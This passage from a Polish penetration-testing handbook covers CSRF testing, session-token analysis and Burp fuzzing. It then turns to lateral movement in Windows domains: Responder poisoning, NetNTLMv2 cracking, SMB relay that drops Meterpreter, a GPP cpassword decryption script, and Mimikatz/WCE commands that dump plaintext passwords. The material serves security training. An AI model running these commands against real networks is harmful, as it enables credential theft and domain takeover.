wybierz z menu kontekstowego polecenie Send to Repeater (rysunek 4.19). Na karcie Repeater kliknij przycisk Go, aby powtórzyć żądanie i wypełnić część dotyczącą odpowiedzi (rysunek 4.20). W przedstawionym przykładzie okazało się, że przelew udało się wykonać, ponieważ serwer dodatkowo nie sprawdził, czy użytkownik rzeczywiście chciał wykonać tę operację. Oznacza to, że wystarczy każdemu klientowi banku wysłać przedstawione łącze i Frank już wkrótce będzie milionerem. Aplikacja nie powinna umożliwić użytkownikowi ponownego przesłania pieniędzy bez wykonania przez niego wszystkich kroków niezbędnych do realizacji transferu. Wskutek 74

ROZDZIAŁ 4. RZUT — SAMODZIELNE ZNAJDOWANIE LUK W APLIKACJACH WEBOWYCH

Rysunek 4.18. Przykład testu CSRF w Burp Suite

Rysunek 4.19. Wysyłanie żądania do modułu Repeater

braku zabezpieczającego tokena CSRF kliknięcie łącza przez niespodziewającą się niczego ofiarę powoduje nieautoryzowany transfer pieniędzy. Więcej informacji na temat przeprowadzania ataków CSRF zawiera strona OWASP, dostępna pod adresem https://www. owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF). 75

PODRĘCZNIK PENTESTERA

Rysunek 4.20. Powtórzenie zdobytego wcześniej żądania

TOKENY SESJI Token sesji służy do śledzenia i obsługi sesji, ponieważ domyślnie protokół HTTP jest protokołem bezstanowym. Istnieją dwie podstawowe cechy tokenów sesyjnych — są niezwykle trudne do odgadnięcia i jednoznacznie identyfikują użytkownika. Elementami, którymi warto się zainteresować, są: moment wygaśnięcia sesji, bezpieczeństwo tokenów (przesyłanie bezpiecznym protokołem), sprawdzanie danych wejściowych i odpowiednie ich przechowywanie. W tym punkcie skupimy się przede wszystkim na sprawdzeniu, czy tokeny sesji są właściwie losowane i czy nie ma możliwości ich odgadnięcia. Wykorzystując narzędzie Burp Suite, przechwytujemy proces uwierzytelniania i operację przesyłania pliku cookie ustawiającego token sesji. Dane żądania i odpowiedzi znajdują się na karcie History, dostępnej za pomocą zakładki Proxy (rysunek 4.21).

Rysunek 4.21. Odpowiedź typu Raw w narzędziu Burp Suite

Kliknij prawym przyciskiem myszy część dotyczącą odpowiedzi i wybierz z menu kontekstowego polecenie Send to Sequencer (rysunek 4.22). 76

ROZDZIAŁ 4. RZUT — SAMODZIELNE ZNAJDOWANIE LUK W APLIKACJACH WEBOWYCH

Rysunek 4.22. Wysłanie żądania do sekwensera

Po kliknięciu polecenia Send to Sequencer przejdź do zakładki Sequencer i wskaż, które tokeny sesji są interesujące. Gdy tokeny zostaną wybrane, kliknij przycisk Start live capture, by rozpocząć generowanie tokenów (rysunek 4.23).

Rysunek 4.23. Wybór tokena sesyjnego

Po rozpoczęciu pobierania tokenów pojawia się nowe okno związane z samym procesem przetwarzania. Gdy zebrana zostanie odpowiednia liczba tokenów, wyświetli się podsumowanie z entropią (losowością), analizą znaków (patrz rysunek 4.24) i analizą na poziomie bitów. Rysunek przedstawia analizę narzędzia Burp Suite dotyczącą rozmieszczenia poszczególnych znaków. Ponieważ sekwenser wbudowany w Burp Suite ma wiele funkcji, warto przyjrzeć się mu dokładniej, by zrozumieć, w jaki sposób generowane są tokeny sesyjne. 77

PODRĘCZNIK PENTESTERA

Rysunek 4.24. Statystyka pozycji znaków w pliku cookie

Pozostawię analizę zebranych danych osądowi czytelnika, ponieważ wykrycie tego, czy tokeny sesji nie są wystarczająco dobrze zabezpieczone, wymaga nieco doświadczenia. W zasadzie każda większa aplikacja webowa używa innej implementacji i algorytmów do generowania tokenów sesyjnych. Czasem niezbędne będzie przyjrzenie się kodowi źródłowemu aplikacji, a czasem wystarczy analiza taka, jak przedstawiona na rysunku 4.24.

DODATKOWE SPRAWDZENIE DANYCH WEJŚCIOWYCH Narzędzie Burp Suite można łatwo rozbudowywać, choć samo w sobie zawiera już wiele funkcji. Jedną z łatwych do użycia funkcji, która okazuje się bardzo cenna w trakcie ręcznych testów, jest funkcja włamywacza (Intruder). Umożliwia ona zmianę danych żądania na własne, specjalnie spreparowane wartości. To bardzo przydatna funkcja, bo można dołączyć swój system testów rozmytych i sprawdzić podatność zmiennej na nietypowe dane.

78

ROZDZIAŁ 4. RZUT — SAMODZIELNE ZNAJDOWANIE LUK W APLIKACJACH WEBOWYCH

Wykorzystanie funkcji testów rozmytych przedstawię jedynie na bardzo ogólnym poziomie. W prezentowanym przykładzie wykorzystamy prostą aplikację sklepu internetowego, aby przekonać się, jak przydatne potrafią być wartości rozmyte. Łącza mogą prowadzić do większej liczby danych, niż mogłoby się wydawać, gdyż na przykład osoba zarządzająca treścią strony przygotowała już nowe elementy na wyprzedaż, która rozpocznie się dopiero w przyszłym tygodniu. Choć strona wyprzedaży jest już gotowa, to oficjalne łącze do niej z poziomu strony głównej pojawi się dopiero za kilka dni. Wielokrotnie byłem świadkiem podobnych sytuacji w związku z wyprzedażami „Czarnego Piątku” (ang. Black Friday). Cała zawartość wyprzedaży była gotowa — autorzy po prostu nie umieścili na oficjalnych stronach żadnego łącza do niej. Zdarza się, że strona tego typu zawiera ceny produktów, które jeszcze nie są dostępne w sprzedaży. Testowanie wszystkich parametrów pod kątem wszystkich możliwych wartości pozwala czasem dowiedzieć się o wyprzedaży planowanej na przyszły tydzień, zanim tę samą informację otrzymamy oficjalnymi kanałami. Przygotowałem testową witrynę, która zilustruje opisywany problem. Witryna stosuje adres www.securepla.net/tehc/hack.php?id=2 typu GET, zawierający parametr id. Możemy zmieniać wartość pola ID z 1 na 2 lub na 3, by otrzymać inny wynik (rysunek 4.25).

Rysunek 4.25. Testowanie wartości parametru

Chcemy za pomocą metody „brutalnej siły” (ang. brute force) sprawdzić wartości parametru, aby przekonać się, kiedy witryna zwróci stronę, a kiedy nie. Ponieważ cały ruch przechodzi już przez Burp Suite, wystarczy odsłonić kartę History, dostępną za pomocą zakładki Proxy. Karta History zawiera wszystkie wykonane wcześniej żądania. Kliknij prawym przyciskiem myszy ostatnie z nich i z menu kontekstowego wybierz polecenie Send to Intruder (rysunek 4.26). Uaktywni się zakładka Intruder na górze menu. Kliknij ją. Przejdź na kartę Positions. Zobaczysz mnóstwo zaznaczonego tekstu. Ponieważ testuję w danym momencie tylko jeden parametr, klikam najpierw przycisk Clear, a następnie wybieram wartość 2 (tylko ją chcę sprawdzać w sposób rozmyty). Na końcu klikam przycisk Add (patrz rysunek 4.27). W ten sposób Burp Suite sprawdzi jedynie wartości parametru ID dla żądania typu GET (parametr jest podświetlony na żółto).

79

PODRĘCZNIK PENTESTERA

Rysunek 4.26. Wysyłanie żądania do modułu Intruder

Rysunek 4.27. Pozycje ładunku w narzędziu Burp Suite

Istnieje jeszcze jedno ustawienie, a dotyczy ono typu ataku (Attack type). W tym przypadku pozostawiłem wartość domyślną, czyli Sniper. Poszczególne rodzaje ataku są opisane dokładniej na stronie WWW narzędzia Burp Suite: http://portswigger.net/burp/help/ intruder_positions.html. Warto się z nimi zapoznać. Przejdź na kartę Payloads, korzystając z zakładki Intruder, i kliknij przycisk Load (rysunek 4.28). W tym przypadku wczytuję tylko listę liczb z zakresu od 1 do 100, ale można wczytać dowolną inną listę. Jeśli wiem, że parametr musi zostać zmodyfikowany zgodnie z tym, czego szukam (na przykład odpowiednie zapytanie do bazy danych lub systemu LDAP), importuję właściwą listę rozmytych parametrów. Tak naprawdę rodzaj i zakres testowanych parametrów zależy od sytuacji. Po rozdziale 1. powinniśmy w folderze /opt/SecLists na maszynie wirtualnej z systemem Kali Linux posiadać rozbudowaną listę danych dla parametrów rozmytych.

80

ROZDZIAŁ 4. RZUT — SAMODZIELNE ZNAJDOWANIE LUK W APLIKACJACH WEBOWYCH

Rysunek 4.28. Lista wartości w narzędziu Burp Suite

Po zaimportowaniu listy wartości rozpocznij atak. Przejdź do menu Intruder i wybierz polecenie Start attack (rysunek 4.29). Po rozpoczęciu ataku pojawi się w aplikacji Burp Suite nowe okno informujące o postępach w pracy i efekcie użycia poszczególnych parametrów.

Rysunek 4.29. Uruchamianie ataku w aplikacji Burp Suite

W jaki sposób po wyświetleniu wyników w tabeli można określić, czy odpowiedź witryny jest inna dla poszczególnych wartości parametru? Najłatwiej sprawdzić to na podstawie długości kodu źródłowego strony, zwróconego jako wynik. Jeśli długość któregoś kodu źródłowego zdecydowanie różni się od pozostałych, warto to sprawdzić.

81

PODRĘCZNIK PENTESTERA

Na bazie przedstawionych wyników łatwo zauważyć, że dla wstrzykiwanych wartości w przedziale od 5 do 26 długość zwracanej strony była cały czas równa 509. Wartość 509 stanowi więc długość bazową. Jeśli przyjrzymy się innym wynikom, zauważymy, że dla wartości parametru równej 27 witryna zwróciła stronę o długości 456 ze specjalnym hasłem (patrz rysunek 4.30).

Rysunek 4.30. Wyniki testu w aplikacji Burp Suite

Można także spróbować zmodyfikować elementy oryginalnego żądania. Zmień zawartość cookie, parametrów POST, HEAD lub GET, tekst agenta użytkownika lub inne istotne wartości.

TESTY FUNKCJONALNE I LOGIKI BIZNESOWEJ Chciałbym podkreślić jeden dodatkowy aspekt związany z testowaniem aplikacji. Ponieważ książka ta zawiera jedynie bardzo ogólny opis testowania aplikacji webowych, warto zdawać sobie sprawę, że testy funkcjonalne to coś, na czym zarabia się spore pieniądze. Przez testy funkcjonalne rozumiem sprawdzanie uprawnień użytkowników, testowanie przepływu danych w aplikacji oraz ogólne upewnienie się, że wszystko działa zgodnie z założeniami. Oto kilka przykładów tego rodzaju testów:

82

ROZDZIAŁ 4. RZUT — SAMODZIELNE ZNAJDOWANIE LUK W APLIKACJACH WEBOWYCH

 sprawdzenie, czy użytkownik nie widzi poufnych danych innej osoby;  upewnienie się, że zwykli użytkownicy nie mają dostępu do stron administracyjnych;  sprawdzenie, czy użytkownik rzeczywiście nie może zmienić danych innej osoby;  upewnienie się, że nie można modyfikować danych poza ściśle określoną kolejnością. Więcej informacji na ten temat można uzyskać na stronie https://www.owasp.org/index. php/Web_Application_Penetration_Testing. Testy funkcjonalne to coś, co rozchwytywani testerzy wykonują przez większość swego czasu. Skanowanie może wykonać każdy, ale nie wszyscy sprawdzają się w testowaniu ręcznym. Efektywne wykonywanie tego rodzaju testów oznacza, że jest się specjalistą w tej dziedzinie.

PODSUMOWANIE W przypadku testów penetracyjnych na poziomie sieci czas gra dużą rolę. Trzeba posiadać sporą wiedzę na temat analizowanej infrastruktury, aplikacji i możliwych luk. Mam nadzieję, że w niniejszym rozdziale udało mi się, chociaż w sposób ogólny, przedstawić kilka popularnych luk, sposoby ich identyfikacji oraz konsekwencje ich niewypełnienia. Luki w aplikacjach webowych są obecnie chyba najpopularniejszym elementem, na którym przeprowadza się zewnętrzne testy penetracyjne. Po przeczytaniu rozdziału nie powinieneś mieć problemów z szybkim wykorzystaniem znalezionych luk.

83

PODRĘCZNIK PENTESTERA

84

Rozdział 5.

PODANIE BOCZNE — PORUSZANIE SIĘ PO SIECI Podania bocznego używa się w sytuacji, gdy nie ma sposobu na to, aby przedrzeć się do przodu. Uzyskaliśmy dostęp do sieci, ale bez uprawnień lub danych konta niewiele więcej możemy zrobić. Osoba będąca ponadprzeciętnym testerem nie ma problemu z poruszaniem się po sieci i uzyskaniem dostępu do kont administracyjnych domeny. Cały czas podkreślam, że celem testu penetracyjnego nie jest tylko znalezienie dostępu do któregokolwiek z serwerów — właściwym celem powinna być identyfikacja danych wrażliwych i uzyskanie do nich dostępu. Czasem oznacza to konieczność posunięcia się do oszustwa lub znalezienia kluczowych pracowników i dobrego zrozumienia podziału danych korporacyjnych na segmenty. W tym rozdziale skupię się na zagadnieniach związanych z poruszaniem się po sieci korporacyjnej, aby powoli przejść od użytkownika o bardzo ograniczonym dostępie do osoby kontrolującej całą sieć. Zaczniemy od sytuacji, w której nie mamy żadnych danych autoryzacyjnych, następnie skorzystamy z proxy, uzyskamy ograniczony dostęp do domeny, a na końcu będziemy mieli już pełny dostęp do lokalnego systemu lub domeny.

W SIECI BEZ DANYCH UWIERZYTELNIAJĄCYCH Przypuśćmy, że znajdujemy się w sieci, nie mamy jednak żadnych danych uwierzytelniających. Być może udało się nam odgadnąć hasło do czyjejś sieci Wi-Fi lub przypadkiem połączyliśmy się z komputerem, który nie jest połączony z domeną. Na początku prawdopodobnie uruchomię narzędzie tcpdump, by pasywnie nasłuchiwać, zidentyfikować sieć, znaleźć kontroler domeny i przeprowadzić inne ataki pasywne. Gdy wydaje mi się, że zrozumiałem działanie lokalnej sieci, zaczynam atakować system za pomocą rozwiązań przedstawionych w kilku kolejnych punktach.

PODRĘCZNIK PENTESTERA

NARZĘDZIE RESPONDER.PY (KALI LINUX) Wśród narzędzi pomagających mi zdobyć pierwsze dane uwierzytelniające jest Responder.py (https://github.com/SpiderLabs/Responder). Responder to jedno z pierwszych narzędzi, które nasłuchuje żądań LLMNR (ang. Link-Local Multicast Name Resolution) oraz NBT-NS (ang. NetBIOS over TCP/IP Name Service), jak również odpowiada na nie. Jedną z luk, z których Responder aktywnie korzysta, jest luka WPAD (ang. Web Proxy Auto-Discovery). Szczegóły techniczne luki opisane są w witrynie TechNet na stronie o tytule MS12-074 — Addressing a vulnerability in WPAD’s PAC file handling (http:// blogs.technet.com/b/srd/archive/2012/11/13/ms12-074-addressing-a-vulnerability-in-wpad-s-pac-file-handling.aspx). Istota wspomnianej luki jest taka, że gdy przeglądarka internetowa (IE lub inna korzystająca z ustawień sieci) ma automatycznie wykrywać ustawienia, komputer ofiary będzie się starał pobrać plik konfiguracyjny z sieci (rysunek 5.1).

Rysunek 5.1. Włączone automatyczne wykrywanie ustawień

Ponieważ jako atakujący znajdujemy się w tej samej sieci co ofiara, możemy odpowiedzieć na żądanie rozwiązywania nazw, wstrzyknąć własny plik PAC i przesyłać cały ruch internetowy przez komputer, nad którym mamy kontrolę. W ten sposób możemy również wymusić uwierzytelnienie się użytkownika na serwerze SMB. Zapytasz zapewne — „Dlaczego to ważne?”. Jeśli możemy wymusić na komputerze ofiary uwierzytelnienie na 86

ROZDZIAŁ 5. PODANIE BOCZNE — PORUSZANIE SIĘ PO SIECI

serwerze SMB, możemy poprosić o skróty wyzwanie-odpowiedź dla NTLM bez wzbudzania w ofierze podejrzeń, że coś zostało skonfigurowane niewłaściwie. Jeśli użytkownik jest już uwierzytelniony w domenie, system użyje danych uwierzytelnienia z pamięci podręcznej. Aby poznać wszystkie polecenia narzędzia Responder lub przeczytać dokumentację, odwiedź stronę https://github.com/SpiderLabs/Responder. Jeśli wykonałeś wszystkie kroki opisane w rozdziale 1., narzędzie Responder powinno być zainstalowane w systemie Kali Linux. W przedstawionym przykładzie uruchomimy Responder z kilkoma różnymi ustawieniami. Opcja -i dotyczy adresu IP własnego hosta. Opcja -b ma wartość Off, by wyłączyć uwierzytelnianie NTLM. Opcja -r ma również wartość Off, ponieważ pozostawienie jej włączonej mogłoby zepsuć sieć. Polecenie ma postać (rysunek 5.2): python ./Responder.py -i [IP atakującego] -b Off -r Off -w On

Rysunek 5.2. Narzędzie Responder

Po uruchomieniu narzędzia Responder należy dać mu kilka minut na właściwą identyfikację żądań i wysłanie zatrutych odpowiedzi. Rysunek 5.3 przedstawia narzędzie podczas ataku. W trakcie działania narzędzia Responder wydarzyło się mnóstwo spraw. Najpierw widzimy, że dla 192.108.0.2 zatruto żądanie LLMNR i przekazano ofierze spreparowany plik WPAD. Oznacza to, że cały ruch internetowy będzie przechodził przez proxy na komputerze atakującego. Oznacza to też, że wszystko, co jest przekazywane jawnym tekstem, będzie dla nas widoczne. Poza tym mamy dostęp do wszystkich nieszyfrowanych plików cookie używanych przez klienta w czasie odwiedzania wszystkich stron WWW. Jeśli do przeglądania strony używają one protokołu HTTP po uwierzytelnieniu, możemy podszyć się pod użytkownika, ponieważ mamy wszystkie pliki cookie. I wreszcie najważniejsze — widzimy przesyłane skróty NTLM wyzwanie-odpowiedź, stosowane w trakcie ataku. 87

PODRĘCZNIK PENTESTERA

Rysunek 5.3. Wynik działania narzędzia Responder

Nie oznacza to, że z uzyskanymi skrótami nie ma żadnych kłopotów. Nie możemy ich od razu zastosować, przekazując odbiorcy, ponieważ są to skróty typu wyzwanie-odpowiedź. Na szczęście możemy wykorzystać je w programach John the Ripper lub oclHashcat. Za pomocą narzędzia John the Ripper wykonaj polecenia: $ cat hashes.txt cheetz::FAKEDOMAIN:1122334455667788:4D8AABB385ADC3 5D8ABF778E9852BC27:010100000000000000B1E1E8D4E3CE0 17DD523628DB503860000000001001400530045005200560045005200320030003000380002000A0073006D0062003100320003002 C0053004500520056004500520032003000300038002E0073006D006 200310032002E006C006F00630061006C000400160073006D0062003 10032002E006C006F00630061006C000500160073006D00620031003 2002E006C006F00630061006C0006000400020000000900200063006 900660073002F003100390032002E003100360038002E0031002E0033 000A001000000000000000000000000000000000000000000000000 000 $ john —format=netntlmv2 hashes.txt Loaded 1 password hash (NTLMv2 C/R MD4 HMAC-MD5 [32/32]) password (cheetz)

Korzystając z narzędzia oclHashcat, wykonaj polecenie: cudaHashcat-plus64.exe -m 5600 hashes.txt plik_hasla.txt

Oba narzędzia do łamania haseł zostaną omówione w rozdziale 9. Na razie skupię się na przedstawieniu użyteczności narzędzia Responder. Czasem nie warto zadawać sobie trudu i próbować złamać hasło. Jeśli wiadomo, że w firmie wymuszają stosowanie silnych haseł lub też że nie ma wystarczająco wielu aktyw88

ROZDZIAŁ 5. PODANIE BOCZNE — PORUSZANIE SIĘ PO SIECI

nych użytkowników, aby pobrać dużo skrótów, można spróbować ataku polegającego na ponownym odtworzeniu SMB. Zamiast uruchamiać serwer SMB w Responderze (jeśli ofiara dopuszcza uwierzytelnianie NTLMv1), włącz moduł smb_replay w narzędziu Metasploit — polecenie use exploit/windows/smb/smb_replay. Oznacza to, że wszystkie żądania SMB zostaną przekazane do wskazanego serwera, a skróty posłużą do uwierzytelnienia na tym właśnie serwerze. Przypuśćmy, że zadanie to uda się wykonać dla konta administratora IT. Jest wielce prawdopodobne, że taka osoba będzie miała znacznie większe uprawnienia na serwerach, którymi jesteśmy zainteresowani. Osobom, które muszą podążyć tą drogą, polecam obejrzenie filmu wideo dostępnego pod adresem https://www.youtube.com/watch?v=05W5tUG7z2M. W filmie tym jego autor, Rob Fuller, prezentuje użycie ataku ZackAttack do zarządzania wszystkimi sesjami NTLM i stopniowego opanowania całej sieci. Przedstawione rozwiązanie ma jednak pewną wadę — jeśli konto użytkownika docelowego lub serwer są tak skonfigurowane, by umożliwiać tylko połączenia NTLMv2, wspomniane narzędzia zawiodą. Jedyny atak związany z powtórzeniem SMB dla uwierzytelniania NTLMv2, który mi się powiódł, realizowałem za pomocą frameworka Impacket. Jego kopię można pobrać pod adresem http://code.google.com/p/impacket/. Konfigurację dla frameworka Impacket zaczerpnąłem ze strony http://pen-testing.sans. org/blog/pen-testing/2013/04/25/smb-relay-demystifiedand-ntlmv2-pwnage-with-python, na której opisano szczegółowo wszystkie kroki. Sam nie chcę tu wchodzić w szczegóły, ponieważ wszystko znajduje się na stronie SANS — powiem tylko ogólnie, że należy utworzyć plik wykonywalny Meterpretera i wykonać skrypt w języku Python (rysunek 5.4).

Rysunek 5.4. Skrypt smbrelayx.py

Po otrzymaniu połączenia SMB skrypt prześle pakiety SMB dalej do innego serwera i umieści na nim (wykona) plik binarny Meterpretera. Sposoby tworzenia odwróconych powłok zostaną omówione w rozdziale 8.

KROKI DO WYKONANIA, GDY POSIADAMY PODSTAWOWY DOSTĘP DO DOMENY W tym podrozdziale założyłem, że uzyskaliśmy dostęp do komputera, który jest połączony z domeną Active Directory. Niekoniecznie jesteśmy administratorami, ale dysponujemy w sieci pewnymi uprawnieniami. Mamy tym samym nadzieję na zwiększenie swoich 89

PODRĘCZNIK PENTESTERA

uprawnień z typowego użytkownika do administratora domeny lub administratora lokalnego. Przyjrzyjmy się kilku atakom, które mogą pomóc w zwiększeniu uprawnień w domenie.

PREFERENCJE ZASAD GRUPY Udało się uzyskać dostęp do komputera, który jest powiązany z domeną, lecz jesteśmy jedynie zwykłym użytkownikiem, a nie administratorem. To doskonała sposobność do sprawdzenia, czy uda się skorzystać z luki GPP (ang. Group Policy Preferences). Cofnijmy się na chwilę i omówmy, czym są ustawienia GPP. Stanowią rozszerzenie Active Directory i są konfigurowalnymi wartościami używanymi w połączeniu z GPO (ang. Group Policy Objects). To bardzo przydatna funkcjonalność, która czyni życie administratora prostszym, bo pozwala wdrożyć ustawienia GPO w całym środowisku. Problemem dotyczącym tego rozwiązania jest to, że można utworzyć lub zaktualizować lokalne konta administratora we wszystkich komputerach należących do domeny. Kto chciałby skorzystać z takiej opcji? Być może główny administrator chce przesłać nowe lokalne konta administratorów lub zaktualizować hasło lokalnego konta na każdym komputerze (powód częstszy, niż mogłoby się wydawać). Gdy ustawienia zostaną skonfigurowane i GPO zostanie uaktualnione, wszystkie komputery otrzymają nowe konta. Luka wynika z faktu, iż informacja o zmianie (nazwa użytkownika i hasło lokalnego administratora) musi zostać gdzieś zapisana. W przypadku GPP dane są dostępne w domenie dla każdego użytkownika z kontem AD. Szczegółowe informacje na temat wszystkich kont przesyłanych za pomocą GPP znajdują się w \\[Kontroler domeny]\SYSVOL\[Domena]\Policies. W folderze poszukaj pliku o nazwie Groups.xml. Jeśli uda się go znaleźć, zajrzyj do treści pliku. Znajdź skrót zawarty w zmiennej cpassword — zapis powinien być podobny do poniższego:

Luka w zmiennej cpassword wzięła się stąd, że hasło jest zaszyfrowane za pomocą szyfru AES (ang. Advanced Encryption Standard). Na szczęście dla nas Microsoft upublicznił symetryczny klucz AES (rysunek 5.5). Ten sam klucz jest stosowany we wszystkich środowiskach i w każdej domenie. Ponieważ posiadamy klucze szyfrujące, możemy odszyfrować hasła lokalnych kont administracyjnych, modyfikowane za pomocą GPP. Istnieje wiele sposobów realizacji tego zadania. Przedstawię teraz prosty skrypt, który odszyfrowuje hasło. W dalszej części książki pokażę, jak można to samo zadanie wykonać za pomocą skryptu PowerShella. Zaprezentowany skrypt powinien jednak wystarczyć i, co ważne, działa w każdym środowisku.

90

ROZDZIAŁ 5. PODANIE BOCZNE — PORUSZANIE SIĘ PO SIECI

Rysunek 5.5. Klucz AES udostępniony przez Microsoft1 #!/usr/bin/env python # Kod pochodzi ze strony http://pastebin.com/TE3fvhEh. # Gpprefdecrypt - Rozszyfrowuje hasła lokalnych użytkowników dodawane za pomocą GPP # w Windows 2008. Narzędzie rozszyfrowuje atrybut cpassword osadzony w pliku Groups.xml # przechowywanym w kontrolerze domeny. import sys from Crypto.Cipher import AES from base64 import b64decode if (len(sys.argv) != 2): print "Użycie: gpprefdecrypt.py " sys.exit(0) # Inicjalizacja klucza. # Pochodzi z http://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be%28v= # PROT.13%29#endNote2. key = """ 4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8 f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b """.replace(" ","").replace("\n","").decode('hex') # Dodaj dopełnienie do tekstu Base64 i zdekoduj go. cpassword = sys.argv[1] cpassword += "=" * ((4 - len(sys.argv[1]) % 4) % 4) password = b64decode(cpassword) # Rozszyfruj hasło. o = AES.new(key, AES.MODE_CBC).decrypt(password) 23

# Wyświetl wynik . print o[:-ord(o[-1])].decode('utf16')

1

http://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be.aspx

2

http://www.trustedsec.com/files/BSIDESLV_Secret_Pentesting_Techniques.pdf

3

http://esec-pentest.sogeti.com/post/Exploiting-Windows-2008-Group-Policy-Preferences 91

PODRĘCZNIK PENTESTERA

Przedstawiony kod w języku Python działa bez problemów w BackTrack 5. W Kali Linux potrafi sprawić kłopoty. Uruchomienie skryptu i przekazanie zaszyfrowanego hasła jako parametru spowoduje wyświetlenie, w formie wyniku, hasła w postaci otwartego tekstu. Nie ma znaczenia, jak długie lub jak złożone jest hasło, ponieważ znamy klucz deszyfrujący. Oto wynik działania skryptu dla wcześniejszego przykładu: root@bt:~/Desktop# ./Gpprefdecrypt.py "AzVJmXh/J9KrU5n0czX1uBPLSUjzFE8j7dOltPD8tLk" testpassword

Wynik otrzymujemy natychmiast, gdyż nie zależy on od złożoności hasła. Cały proces można także wykonać za pomocą skryptu PowerShella (patrz dalsza część książki), pobierając jego kod ze strony https://raw.github.com/mattifestation/PowerSploit/master/ Exfiltration/Get-GPPPassword.ps1. Co więcej, przedstawione zadanie potrafi obecnie wykonać również specjalny moduł narzędzia Metasploit. Wystarczy użyć polecenia: use post/windows/gather/credentials/gpp

Choć nie wszystkie firmy używają GPP do przesyłania do poszczególnych komputerów danych dotyczących kont, jest to nadal powszechna praktyka. Jeśli uda się uzyskać dostęp do konta domenowego, jest to pierwsza rzecz, którą należy sprawdzić. Przy odrobinie szczęścia można uzyskać dostęp do lokalnego konta administratora, co z kolei daje duże szanse na uzyskanie dostępu do każdego komputera w sieci. Następnym logicznym krokiem byłoby użycie czegoś takiego jak PsExec, by zaatakować inne komputery dostępne w sieci (patrz dalsza część rozdziału).

POBIERANIE DANYCH UWIERZYTELNIAJĄCYCH ZAPISANYCH JAWNYM TEKSTEM Są sytuacje, w których uzyskaliśmy dostęp do komputera, ale nie chcemy marnować cennego czasu na łamanie haseł lub instalowanie programu do zapisywania tekstów wpisanych na klawiaturze. Dwoma narzędziami, które zawsze powinny znaleźć się w przyborniku hakera, są: Windows Credentials Editor (WCE) i Mimikatz. Oba narzędzia starają się wydobyć z pamięci komputera hasła zapisane jawnym tekstem. Pamiętaj, że narzędzia te wymagają zwiększonych uprawnień.

WCE — Windows Credentials Editor (Windows) Wielokrotnie korzystaliśmy z narzędzia Metasploit i przekazywaliśmy skróty danych. Tak naprawdę interesują nas hasła — WCE stanowi doskonałą odpowiedź na tę potrzebę (http://www.ampliasecurity.com/research/wcefaq.htm). „Windows Credentials Editor (WCE) to narzędzie bezpieczeństwa umożliwiające wyświetlenie listy sesji logowania Windows i dodanie, zmianę, wyświetlenie oraz usunięcie po92

ROZDZIAŁ 5. PODANIE BOCZNE — PORUSZANIE SIĘ PO SIECI

wiązanych poświadczeń (na przykład skrótów LM/NT, biletów Kerberosa i haseł w postaci jawnego tekstu)”4. W momencie pisania książki najnowsza wersja pliku binarnego z WCE jest dostępna pod adresem http://www.ampliasecurity.com/research/wce_v1_41beta_universal.zip. Jej pobranie było jednym z kroków przygotowawczych w rozdziale 1. Dlaczego WCE jest tak przydatne? Oto dwa polecenia, których używam najczęściej: wce -l i wce -w. Przełącznik -l powoduje wyświetlenie listy sesji logowania i poświadczeń NTLM (skrótów). Przełącznik -w wyświetla hasła zapisane jawnym tekstem, przechowywane przez pakiet uwierzytelniania. Oznacza to, że jeśli posiada się uprawnienia administratora, można pobrać hasło tego użytkownika bez łamania skrótów haseł. To spora oszczędność czasu. Rysunek 5.6 przedstawia narzędzie WCE w akcji.

Rysunek 5.6. Windows Credentials Editor (WCE)

W rozdziale 8., poświęconym antywirusom, opiszę, w jaki sposób pobrać plik WCE bez spowodowania alarmu w programie antywirusowym.

Mimikatz (Windows) Mimikatz (http://blog.gentilkiwi.com/mimikatz) to narzędzie bardzo podobne do WCE, ponieważ również stara się wydobyć z LSASS (ang. Local Security Authority Subsystem Service) hasła w postaci jawnego tekstu. Bardzo często jestem pytany o to, które z narzędzi jest lepsze — odpowiadam wówczas, żeby nie przywiązywać się zbyt mocno do jednego narzędzia. Zawsze zdarzy się środowisko, w którym jedno narzędzie lub technika zawodzi albo też plik jest wykrywany przez program antywirusowy. W takiej sytuacji warto mieć plan B i wykorzystać inne narzędzie, by dostać się do systemu. W dalszej części książki przedstawię, w jaki sposób można uruchomić narzędzie Mimikatz w pamięci, żeby nie trzeba było na atakowanym komputerze umieszczać pliku wykonywalnego. Na razie jednak użyję pliku wykonywalnego, aby zanadto nie komplikować prostego przykładu. Uruchomienie narzędzia Mimikatz na komputerze ofiary spowoduje przejście do specjalnego wiersza poleceń. Poleceniami (patrz rysunek 5.7), które wydobywają jawne hasła z LSASS, są: 4

http://www.ampliasecurity.com/research/wcefaq.html 93

PODRĘCZNIK PENTESTERA

Rysunek 5.7. Mimikatz w akcji privilege::debug sekurlsa::logonPasswords full

Jeśli nie musimy się martwić skrótami, to długość hasła nie jest dla nas żadną przeszkodą. Można po uzyskaniu informacji spróbować użyć loginu i hasła na innych komputerach. Jeśli konto było uprzywilejowane, można się nawet pokusić o zalogowanie do kontrolera domeny.

WSKAZÓWKI DOTYCZĄCE TEGO, CO ROBIĆ PO WŁAMANIU SIĘ DO SYSTEMU Chciałem napisać osobny punkt na temat wskazówek dotyczących etapu po włamaniu się do systemu. Przypuśćmy, że udało się uzyskać dostęp do komputera z systemem Linux lub Windows — czego będziemy na nim szukać? Zacząłem nawet tworzyć listę miejsc, którymi warto się zainteresować, ale znalazłem bardzo rozbudowaną listę przygotowaną przez Roba Fullera (mubix) i room.362.com5. Lista wskazówek ze strony room.362.com, dotyczących kroków do realizacji po włamaniu się:  dla systemów Linux, Unix i BSD — http://bit.ly/pqJxA5,  dla systemu Windows — http://bit.ly/1em7gvG,  dla systemu OS X — http://bit.ly/1kVTIMf, 5

http://www.room362.com/blog/2011/09/06/post-exploitation-command-lists/ 94

ROZDZIAŁ 5. PODANIE BOCZNE — PORUSZANIE SIĘ PO SIECI

